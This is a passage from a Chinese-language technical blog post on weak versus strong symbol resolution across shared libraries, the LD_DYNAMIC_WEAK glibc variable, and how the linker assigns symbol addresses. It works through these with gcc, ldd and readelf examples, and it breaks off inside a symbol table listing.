&lt;p&gt;可以看到两次编译运行的结果不一致，为什么编译命令中动态共享库的顺序会影响结果的输出？&lt;&#x2F;p&gt;
&lt;p&gt;经过一番分析，发现两个可执行程序都只依赖了libtest1.so和libtest2.so中的一个&lt;&#x2F;p&gt;
&lt;p&gt;ldd命令查看：&lt;code&gt;ldd main1 main2&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出结果如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;main1:
	linux-vdso.so.1 =&amp;gt;  (0x00007fffcebf7000)
	libtest1.so (0x00007f76e3c6b000)
	libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007f76e388b000)
	&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f76e406f000)
main2:
	linux-vdso.so.1 =&amp;gt;  (0x00007ffe9c5f2000)
	libtest2.so (0x00007ff45701d000)
	libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007ff456c3d000)
	&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007ff457421000)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到main1只依赖了libtest1.so，而main2只依赖了libtest2.so&lt;&#x2F;p&gt;
&lt;p&gt;根据这个结果可以猜测：当我们指定链接库顺序为&lt;code&gt;-ltest2 -ltes1&lt;&#x2F;code&gt;时，链接器在解析main.c中的符号foo时先从libtest2.so中找到了foo的定义，即使libtest2.so中的foo是弱符号，此时程序已不存在未解析符号，那么就不再依赖libtest1.so，那么自然不会使用libtest1.so中的强符号。&lt;&#x2F;p&gt;
&lt;p&gt;那如果让主程序同时依赖于libtest1.so和libtest2.so呢，会不会使用后找到的强符号来替换之前找到的弱符号，我们修改代码如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;test1.c
#include &amp;quot;stdio.h&amp;quot;
void foo()
{
    printf(&amp;quot;strong foo defined in test1.c\n&amp;quot;);
}
void fun1()
{
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F;test2.c
#include &amp;quot;stdio.h&amp;quot;
__attribute__((weak))void foo()
{
    printf(&amp;quot;weak foo defined in test2.c\n&amp;quot;);
}
void fun2()
{
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;main.c
void foo();
void fun1();
void fun2();
int main()
{
    foo();
    fun1();
    fun2();
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;gcc  -c main.c -o main.o
gcc  -c test1.c -o test1.o
gcc  -c test2.c -o test2.o
gcc  test1.o -fPIC -shared -O2 -o libtest1.so
gcc  test2.o -fPIC -shared -O2 -o libtest2.so
gcc  main.o -o main1 -L. -ltest1 -ltest2
gcc  main.o -o main2 -L. -ltest2 -ltest1
.&amp;#x2F;main1
strong foo defined in test1.c
.&amp;#x2F;main2
weak foo defined in test2.c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果还是使用了弱符号。&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;$ ldd main1 main2&lt;&#x2F;code&gt;确认下是否同时依赖了两个so&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ldd main1 main2
main1:
	linux-vdso.so.1 =&amp;gt;  (0x00007ffd6e5f0000)
	libtest1.so (0x00007f1ad20ec000)
	libtest2.so (0x00007f1ad1eea000)
	libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007f1ad1b0a000)
	&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f1ad24f0000)
main2:
	linux-vdso.so.1 =&amp;gt;  (0x00007ffc4be82000)
	libtest2.so (0x00007f3852601000)
	libtest1.so (0x00007f38523ff000)
	libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007f385201f000)
	&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f3852a05000)

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;明显已经依赖了，难道gcc解析符号时默认使用最先找到的foo，即使该符号是弱符号?&lt;&#x2F;p&gt;
&lt;p&gt;经查阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc-help&#x2F;2011-03&#x2F;msg00206.html&quot;&gt;资料&lt;&#x2F;a&gt;，发现是glibc的动态链接器问题，在旧版本的glibc下，链接器如果找到一个弱符号，它会记住那个符号，并继续搜索剩下的共享库，如果它随后发现同样符号的强定义，那么它会替换之前的弱定义（如果没有找到更多的符号，那么动态链接器会使用最初找到的弱符号）。&lt;&#x2F;p&gt;
&lt;p&gt;而新版本glibc的动态链接器将解析符号为第一个它找到的定义(即使它为弱符号)，不会继续往下找。&lt;&#x2F;p&gt;
&lt;p&gt;该问题可以通过定义环境变量&lt;code&gt;LD_DYNAMIC_WEAK &lt;&#x2F;code&gt;来使用旧版本glibc的行为，环境变量的说明见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;man7.org&#x2F;linux&#x2F;man-pages&#x2F;man8&#x2F;ld.so.8.html&quot;&gt;这里&lt;&#x2F;a&gt;或使用&lt;code&gt;$ man ld.so&lt;&#x2F;code&gt;查看&lt;&#x2F;p&gt;
&lt;p&gt;定义该环境变量并重新运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ export LD_DYNAMIC_WEAK=any_value
$ .&amp;#x2F;main2
strong foo defined in test1.c
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到现在使用的是强符号了。&lt;&#x2F;p&gt;
&lt;p&gt;通过上面分析，我认为最重要的两个注意点如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第一个注意点：确保链接器链接了库&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;比如上述的示例代码，由于主程序只用到库中的一个符号，且两个库都提供了该符号的定义，导致编译出来的可执行程序只依赖了其中的某个库，导致结果与我们的预期不符合。&lt;&#x2F;p&gt;
&lt;p&gt;除了上述情况容易导致链接器没有链接到库以外，还有一种情况值得注意，比如下述代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F;main.c
__attribute__((weak)) void foo();
&amp;#x2F;*void fun1();*&amp;#x2F;
int main()
{
	if (foo) {
		foo();
		&amp;#x2F;*fun1();*&amp;#x2F;
	}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F;test1.c
#include &amp;quot;stdio.h&amp;quot;
void foo()
{
    printf(&amp;quot;strong foo defined in test1.c\n&amp;quot;);
}
void fun1()
{
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc test1.c -fpic -shared -o libtest1.so
$ gcc main.c -o main -L. -ltest1
$ ldd main
	linux-vdso.so.1 =&amp;gt;  (0x00007ffd18dd2000)
	libc.so.6 =&amp;gt; &amp;#x2F;lib&amp;#x2F;x86_64-linux-gnu&amp;#x2F;libc.so.6 (0x00007f727abd1000)
	&amp;#x2F;lib64&amp;#x2F;ld-linux-x86-64.so.2 (0x00007f727b1b3000)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到生成的可执行程序并没有依赖libtest1.so，主程序的foo也就不使用被libtest1.so中的强定义，符号foo此时默认为0&lt;&#x2F;p&gt;
&lt;p&gt;从该结果可以看出&lt;strong&gt;如果主程序如果只用到库中某个符号，且将该符号定义为弱符号，那么并不会去链接该库&lt;&#x2F;strong&gt;，但是这里有点奇怪的是如果我程序中没用到pthread，但我指定链接它，用ldd命令查看确实链接了libpthread.so(待后续研究下)&lt;&#x2F;p&gt;
&lt;p&gt;那么如何修改呢，只要打开main.c中的注释，让主程序使用库中的其他符号即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;第二个注意点：针对高版本glibc，使用动态链接时要注意使用环境变量&lt;&#x2F;strong&gt;**&lt;code&gt;LD_DYNAMIC_WEAK&lt;&#x2F;code&gt;**&lt;&#x2F;p&gt;
&lt;p&gt;参考&amp;amp;阅读拓展:
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc-help&#x2F;2011-03&#x2F;msg00206.html&quot;&gt;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc-help&#x2F;2011-03&#x2F;msg00206.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc&#x2F;2005-10&#x2F;msg00235.html&quot;&gt;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc&#x2F;2005-10&#x2F;msg00235.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc-help&#x2F;2013-04&#x2F;msg00068.html&quot;&gt;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;ml&#x2F;gcc-help&#x2F;2013-04&#x2F;msg00068.html&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;13089166&#x2F;how-to-make-gcc-link-strong-symbol-in-static-library-to-overwrite-weak-symbol&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;13089166&#x2F;how-to-make-gcc-link-strong-symbol-in-static-library-to-overwrite-weak-symbol&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;43136845&#x2F;weak-linking-in-shared-object-not-working-as-expected&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;43136845&#x2F;weak-linking-in-shared-object-not-working-as-expected&lt;&#x2F;a&gt;
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;23079997&#x2F;override-weak-symbols-in-static-library&quot;&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;23079997&#x2F;override-weak-symbols-in-static-library&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue11-fu-hao-di-zhi-de-que-ding&quot;&gt;Issue11 符号地址的确定&lt;&#x2F;h2&gt;
&lt;p&gt;用以下示例代码作为示例，理解链接器在链接目标文件时是如何确定符号地址&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;a.c
extern int shared;
extern int shared2;

int main()
{
    int a = 100;
    swap(&amp;amp;a, &amp;amp;shared);
    swap(&amp;amp;a, &amp;amp;shared2);
}

&amp;#x2F;&amp;#x2F;b.c
int shared = 1;

void swap(int *a, int *b)
{
    *a ^= *b ^= *a ^= *b;
}

&amp;#x2F;&amp;#x2F;c.c
int shared2 = 1;

void swap2(int *a, int *b)
{
    *a ^= *b ^= *a ^= *b;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面分析如何确定各个符号的虚拟地址&lt;&#x2F;p&gt;
&lt;p&gt;首先编译.c文件，分析生成的目标文件的段位置和段长度&lt;code&gt;$ readelf -S a.o b.o c.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;File: a.o
There are 12 section headers, starting at offset 0x330:

Section Headers:
  [Nr] Name              Type            Address          Offset
      Size              EntSize          Flags  Link  Info  Align
  [ 0]                  NULL            0000000000000000  00000000
      0000000000000000  0000000000000000          0    0    0
  [ 1] .text            PROGBITS        0000000000000000  00000040
      0000000000000046  0000000000000000  AX      0    0    1
  [ 2] .rela.text        RELA            0000000000000000  00000258
      0000000000000060  0000000000000018  I      9    1    8
  [ 3] .data            PROGBITS        0000000000000000  00000086
      0000000000000000  0000000000000000  WA      0    0    1
  [ 4] .bss              NOBITS          0000000000000000  00000086
      0000000000000000  0000000000000000  WA      0    0    1
  [ 5] .comment          PROGBITS        0000000000000000  00000086
      0000000000000026  0000000000000001  MS      0    0    1
  [ 6] .note.GNU-stack  PROGBITS        0000000000000000  000000ac
      0000000000000000  0000000000000000          0    0    1
  [ 7] .eh_frame        PROGBITS        0000000000000000  000000b0
      0000000000000038  0000000000000000  A      0    0    8
  [ 8] .rela.eh_frame    RELA            0000000000000000  000002b8
      0000000000000018  0000000000000018  I      9    7    8
  [ 9] .symtab          SYMTAB          0000000000000000  000000e8
      0000000000000138  0000000000000018          10    8    8
  [10] .strtab          STRTAB          0000000000000000  00000220
      0000000000000034  0000000000000000          0    0    1
  [11] .shstrtab        STRTAB          0000000000000000  000002d0
      0000000000000059  0000000000000000          0    0    1

File: b.o
There are 11 section headers, starting at offset 0x268:

Section Headers:
  [Nr] Name              Type            Address          Offset
      Size              EntSize          Flags  Link  Info  Align
  [ 0]                  NULL            0000000000000000  00000000
      0000000000000000  0000000000000000          0    0    0
  [ 1] .text            PROGBITS        0000000000000000  00000040
      000000000000004b  0000000000000000  AX      0    0    1
  [ 2] .data            PROGBITS        0000000000000000  0000008c
      0000000000000004  0000000000000000  WA      0    0    4
  [ 3] .bss              NOBITS          0000000000000000  00000090
      0000000000000000  0000000000000000  WA      0    0    1
  [ 4] .comment          PROGBITS        0000000000000000  00000090
      0000000000000026  0000000000000001  MS      0    0    1
  [ 5] .note.GNU-stack  PROGBITS        0000000000000000  000000b6
      0000000000000000  0000000000000000          0    0    1
  [ 6] .eh_frame        PROGBITS        0000000000000000  000000b8
      0000000000000038  0000000000000000  A      0    0    8
  [ 7] .rela.eh_frame    RELA            0000000000000000  000001f8
      0000000000000018  0000000000000018  I      8    6    8
  [ 8] .symtab          SYMTAB          0000000000000000  000000f0
      00000000000000f0  0000000000000018          9    8    8
  [ 9] .strtab          STRTAB          0000000000000000  000001e0
      0000000000000011  0000000000000000          0    0    1
  [10] .shstrtab        STRTAB          0000000000000000  00000210
      0000000000000054  0000000000000000          0    0    1

File: c.o
There are 11 section headers, starting at offset 0x250:

Section Headers:
  [Nr] Name              Type            Address          Offset
      Size              EntSize          Flags  Link  Info  Align
  [ 0]                  NULL            0000000000000000  00000000
      0000000000000000  0000000000000000          0    0    0
  [ 1] .text            PROGBITS        0000000000000000  00000040
      000000000000002d  0000000000000000  AX      0    0    1
  [ 2] .data            PROGBITS        0000000000000000  00000070
      0000000000000004  0000000000000000  WA      0    0    4
  [ 3] .bss              NOBITS          0000000000000000  00000074
      0000000000000000  0000000000000000  WA      0    0    1
  [ 4] .comment          PROGBITS        0000000000000000  00000074
      0000000000000026  0000000000000001  MS      0    0    1
  [ 5] .note.GNU-stack  PROGBITS        0000000000000000  0000009a
      0000000000000000  0000000000000000          0    0    1
  [ 6] .eh_frame        PROGBITS        0000000000000000  000000a0
      0000000000000038  0000000000000000  A      0    0    8
  [ 7] .rela.eh_frame    RELA            0000000000000000  000001e0
      0000000000000018  0000000000000018  I      8    6    8
  [ 8] .symtab          SYMTAB          0000000000000000  000000d8
      00000000000000f0  0000000000000018          9    8    8
  [ 9] .strtab          STRTAB          0000000000000000  000001c8
      0000000000000013  0000000000000000          0    0    1
  [10] .shstrtab        STRTAB          0000000000000000  000001f8
      0000000000000054  0000000000000000          0    0    1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从输出中我们可以获得以下信息&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;文件&lt;&#x2F;th&gt;&lt;th&gt;段&lt;&#x2F;th&gt;&lt;th&gt;大小&lt;&#x2F;th&gt;&lt;th&gt;虚拟地址&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;a.o&lt;&#x2F;td&gt;&lt;td&gt;.text&lt;&#x2F;td&gt;&lt;td&gt;0x46&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;a.o&lt;&#x2F;td&gt;&lt;td&gt;.data&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;b.o&lt;&#x2F;td&gt;&lt;td&gt;.text&lt;&#x2F;td&gt;&lt;td&gt;0x4b&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;b.o&lt;&#x2F;td&gt;&lt;td&gt;.data&lt;&#x2F;td&gt;&lt;td&gt;0x04&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;c.o&lt;&#x2F;td&gt;&lt;td&gt;.text&lt;&#x2F;td&gt;&lt;td&gt;0x2d&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;c.o&lt;&#x2F;td&gt;&lt;td&gt;.data&lt;&#x2F;td&gt;&lt;td&gt;0x04&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;接下来查看符号表信息&lt;code&gt;$ readelf -s a.o b.o c.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;File: a.o

Symbol table &amp;#x27;.symtab&amp;#x27; contains 13 entries:
  Num:    Value          Size Type    Bind  Vis      Ndx Name
    0: 0000000000000000    0 NOTYPE  LOCAL  DEFAULT  UND
    1: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS a.c
    2: 0000000000000000    0 SECTION LOCAL  DEFAULT    1
    3: 0000000000000000    0 SECTION LOCAL  DEFAULT    3
    4: 0000000000000000    0 SECTION LOCAL  DEFAULT    4
    5: 0000000000000000    0 SECTION LOCAL  DEFAULT    6
    6: 0000000000000000    0 SECTION LOCAL  DEFAULT    7
    7: 0000000000000000    0 SECTION LOCAL  DEFAULT    5
    8: 0000000000000000    70 FUNC    GLOBAL DEFAULT    1 main
    9: 0000000000000000    0 NOTYPE  GLOBAL DEFAULT  UND shared
    10: 0000000000000000    0 NOTYPE  GLOBAL DEFAULT  UND _GLOBAL_OFFSET_TABLE_
    11: 0000000000000000    0 NOTYPE  GLOBAL DEFAULT  UND swap
    12: 0000000000000000    0 NOTYPE  GLOBAL DEFAULT  UND shared2

File: b.o

Symbol table &amp;#x27;.symtab&amp;#x27; contains 10 entries:
  Num:    Value          Size Type    Bind  Vis      Ndx Name
    0: 0000000000000000    0 NOTYPE  LOCAL  DEFAULT  UND
    1: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS b.c
    2: 0000000000000000    0 SECTION LOCAL  DEFAULT    1
    3: 0000000000000000    0 SECTION LOCAL  DEFAULT    2
    4: 0000000000000000    0 SECTION LOCAL  DEFAULT    3
    5: 0000000000000000    0 SECTION LOCAL  DEFAULT    5
    6: 0000000000000000    0 SECTION LOCAL  DEFAULT    6
    7: 0000000000000000    0 SECTION LOCAL  DEFAULT    4
    8: 0000000000000000    4 OBJECT  GLOBAL DEFAULT    2 shared
    9: 0000000000000000    75 FUNC    GLOBAL DEFAULT    1 swap

File: c.o

Symbol table &amp;#x27;.symtab&amp;#x27; contains 10 entries:
  Num:    Value          Size Type    Bind  Vis      Ndx Name
    0: 0000000000000000    0 NOTYPE  LOCAL  DEFAULT  UND
    1: 0000000000000000    0 FILE    LOCAL  DEFAULT  ABS c.c
    2: 0000000000000000    0 SECTION LOCAL  DEFAULT    1
    3: 0000000000000000    0 SECTION LOCAL  DEFAULT    2
    4: 0000000000000000    0 SECTION LOCAL  DEFAULT    3
    5: 0000000000000000    0 SECTION LOCAL  DEFAULT    5
    6: 0000000000000000    0 SECTION LOCAL  DEFAULT    6
    7: 0000000000000000    0 SECTION LOCAL  DEFAULT    4
    8: 0000000000000000    4 OBJECT  GLOBAL DEFAULT    2 shared2
    9: 0000000000000000    45 FUNC    GLOBAL DEFAULT    1 swap2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从输出中我们可以获得如下信息&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;文件&lt;&#x2F;th&gt;&lt;th&gt;符号&lt;&#x2F;th&gt;&lt;th&gt;符号值&lt;&#x2F;th&gt;&lt;th&gt;大小&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;a.o&lt;&#x2F;td&gt;&lt;td&gt;main&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;70&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;b.o&lt;&#x2F;td&gt;&lt;td&gt;shared&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;b.o&lt;&#x2F;td&gt;&lt;td&gt;swap&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;75&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;c.o&lt;&#x2F;td&gt;&lt;td&gt;shared2&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;c.o&lt;&#x2F;td&gt;&lt;td&gt;swap2&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;45&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;链接a.o, b.o, c.o
&lt;code&gt;$ ld a.o b.o c.o -e main -o abc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;查看abc的段表
&lt;code&gt;$ readelf -S abc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;There are 9 section headers, starting at offset 0x12b0:

Section Headers:
  [Nr] Name              Type            Address          Offset
      Size              EntSize          Flags  Link  Info  Align
  [ 0]                  NULL            0000000000000000  00000000
      0000000000000000  0000000000000000          0    0    0
  [ 1] .text            PROGBITS        00000000004000e8  000000e8
      00000000000000be  0000000000000000  AX      0    0    1
  [ 2] .eh_frame        PROGBITS        00000000004001a8  000001a8
      0000000000000078  0000000000000000  A      0    0    8
  [ 3] .got.plt          PROGBITS        0000000000601000  00001000
      0000000000000018  0000000000000008  WA      0    0    8
  [ 4] .data            PROGBITS        0000000000601018  00001018
      0000000000000008  0000000000000000  WA      0    0    4
  [ 5] .comment          PROGBITS        0000000000000000  00001020
      0000000000000025  0000000000000001  MS      0    0    1
  [ 6] .symtab          SYMTAB          0000000000000000  00001048
      00000000000001c8  0000000000000018          7    11    8
  [ 7] .strtab          STRTAB          0000000000000000  00001210
      000000000000005a  0000000000000000          0    0    1
  [ 8] .shstrtab        STRTAB          0000000000000000  0000126a
      0000000000000043  0000000000000000          0    0    1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从输出中我们可以获得如下信息&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;段名&lt;&#x2F;th&gt;&lt;th&gt;虚拟地址&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;.text&lt;&#x2F;td&gt;&lt;td&gt;0x4000e8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;.data&lt;&#x2F;td&gt;&lt;td&gt;0x601018&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;获得以上信息后，可以计算出各个符号的地址了，这里我们先手动计算各个符号的地址，再使用readelf查看符号表验证下结果，计算过程如下：&lt;&#x2F;p&gt;
&lt;p&gt;因为链接器是使用&lt;strong&gt;相似段合并&lt;&#x2F;strong&gt;的策略来合并生成可执行程序abc的，因此生成文件的.text段就是a.o，b.o和c.o的.text段的拼接，那么我们可以计算出a.o的.text段的内容最终的起始虚拟地址为&lt;code&gt;0x4000e8(abc中.text段的虚拟地址) + 0x00(a.o中.text段的偏移) = 0x4000e8&lt;&#x2F;code&gt;，结束地址为&lt;code&gt;0x4000e8 + 0x46(a.o的.text段的大小) = 0x40012e&lt;&#x2F;code&gt;，b.o的.text段的起始地址为&lt;code&gt;0x40012e(a.o中.text段的内容在文件abc中的结束地址) + 0x00(b.o的.text段的偏移) = 0x40012e&lt;&#x2F;code&gt;, 结束地址为&lt;code&gt;0x40012e + 0x4b(b.o的.text段的大小) = 0x400179&lt;&#x2F;code&gt;，c.o的.text段起始地址为&lt;code&gt;0x400179（c.o中.text段的内容在文件abc中的结束地址） + 0x00(c.o中.text段的偏移) = 0x400179&lt;&#x2F;code&gt;，结束地址为&lt;code&gt;0x400179+ 0x2d(c.o的.text段的大小) = 0x4001a6&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;.data段计算原理一样，，计算结果如下:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;a.o的.data起始地址：&lt;code&gt;0x601018  + 0x00&lt;&#x2F;code&gt;，结束地址：&lt;code&gt;0x601018 + 0x00 = 0x601018&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;b.o的.data起始地址：&lt;code&gt;0x601018  + 0x00&lt;&#x2F;code&gt;，结束地址：&lt;code&gt;0x601018 + 0x04 = 0x60101c&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;c.o的.data起始地址：&lt;code&gt;0x60101c + 0x00&lt;&#x2F;code&gt;，结束地址：&lt;code&gt;0x60101c + 0x04 = 0x601020&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;而根据符号表的输出结果我们拿到了符号在对应段中的偏移量(符号值)，下面以两个符号的计算过程为例&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;b.o中的shared符号，它是在b.o中的.data段，偏移量为0，大小为4，那么该符号在文件abc中的虚拟地址为&lt;code&gt;0x601018(b.o的.data段在abc中的虚拟地址) + 0x00 = 0x601018&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;c.o中的swap2符号，它在c.o中的.text段，偏移量为0x00, 大小为45，那么该符号在文件abc中的虚拟地址为&lt;code&gt;0x400179(c.o的.text段在abc中的虚拟地址)+ 0x00 = 0x400179&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其他符号同理，最终计算结果如下&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;main: 0x4000e8 + 0x00 = 0x4000e8&lt;&#x2F;li&gt;
&lt;li&gt;shared: 0x601018  + 0x00 = 0x601018&lt;&#x2F;li&gt;
&lt;li&gt;swap: 0x40012e + 0x00 = 0x40012e&lt;&#x2F;li&gt;
&lt;li&gt;shared2: 0x60101c + 0x00 = 0x60101c&lt;&#x2F;li&gt;
&lt;li&gt;swap2: 0x400179+ 0x00 = 0x400179&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;使用readelf命令验证下结果
&lt;code&gt;$ readelf -s abc&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;输出如下&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Symbol table &amp;#x27;.symtab&amp;#x27; contains 19 entries:
  Num:    Value          Size Type    Bind  Vis      Ndx Name
    0: 0000000000000000    0 NOTYPE  LOCAL  DEFAULT  UND
    1: 00000000004000e8    0 SECTION LOCAL  DEFAULT    1
